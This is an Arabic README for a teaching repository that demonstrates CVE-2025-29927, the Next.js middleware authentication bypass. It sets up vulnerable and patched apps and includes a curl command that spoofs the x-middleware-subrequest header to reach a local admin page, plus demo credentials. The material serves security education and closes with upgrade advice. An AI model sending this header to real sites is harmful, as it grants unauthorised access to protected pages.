
توضيح لـ CVE-2025-29927: تجاوز مصادقة البرمجيات الوسيطة Next.js عبر انتحال رأس x-middleware-subrequest. يتضمن أمثلة تطبيقات قابلة للاستغلال ومصححة للتعليم الأمني.
يحتوي هذا المستودع على عرض توضيحي لثغرة Next.js CVE-2025-29927، والتي تؤثر على الإصدار 15.2.2 والإصدارات السابقة من Next.js. تسمح الثغرة للمهاجمين بتجاوز فحوصات المصادقة في الطبقة الوسيطة (middleware) عن طريق تعيين رأس x-middleware-subrequest.
هذا مستودع NX أحادي يحتوي على تطبيقين Next.js:
في إصدارات Next.js السابقة للإصدار 15.2.3، توجد ثغرة أمنية في تنفيذ الطبقة الوسيطة (middleware). لا تتحقق الطبقة الوسيطة بشكل صحيح من أصل رأس x-middleware-subrequest، مما يسمح للمهاجمين بتزوير هذا الرأس وتجاوز فحوصات المصادقة المستندة إلى الطبقة الوسيطة.
# انتقل إلى المستودع
cd nextjs-vulnerability
# ثبت التبعيات للتطبيق الضعيف
cd apps/vulnerable-app
npm install
# ابدأ التطبيق الضعيف
npm run dev
سيكون التطبيق الضعيف متاحًا على http://localhost:3000.
# انتقل إلى المستودع
cd nextjs-vulnerability
# ثبت التبعيات للتطبيق المُصلَح
cd apps/fixed-app
npm install
# ابدأ التطبيق المُصلَح
npm run dev
سيكون التطبيق المُصلَح متاحًا على http://localhost:3001.
يمكنك أيضًا تشغيل التطبيقات باستخدام Docker:
# للتطبيق الضعيف
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable
# للتطبيق المُصلَح
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
# باستخدام curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
# أو استخدم إضافة متصفح مثل ModHeader لإضافة الرأس
# ثم تفضل بزيارة http://localhost:3000/admin
مع الإصدار الضعيف (15.2.2)، ستتمكن من الوصول إلى صفحة المشرف دون مصادقة عن طريق إضافة رأس x-middleware-subrequest.
مع الإصدار المُصلَح (15.2.3)، تتحقق الطبقة الوسيطة بشكل صحيح من أصل هذا الرأس، وستظل معاد توجيهك إلى صفحة تسجيل الدخول.
لأغراض العرض التوضيحي، يمكنك تسجيل الدخول باستخدام:
adminpassword123إذا كنت تستخدم Next.js في الإنتاج، تأكد من التحديث إلى الإصدار 15.2.3 أو أحدث للحماية من هذه الثغرة.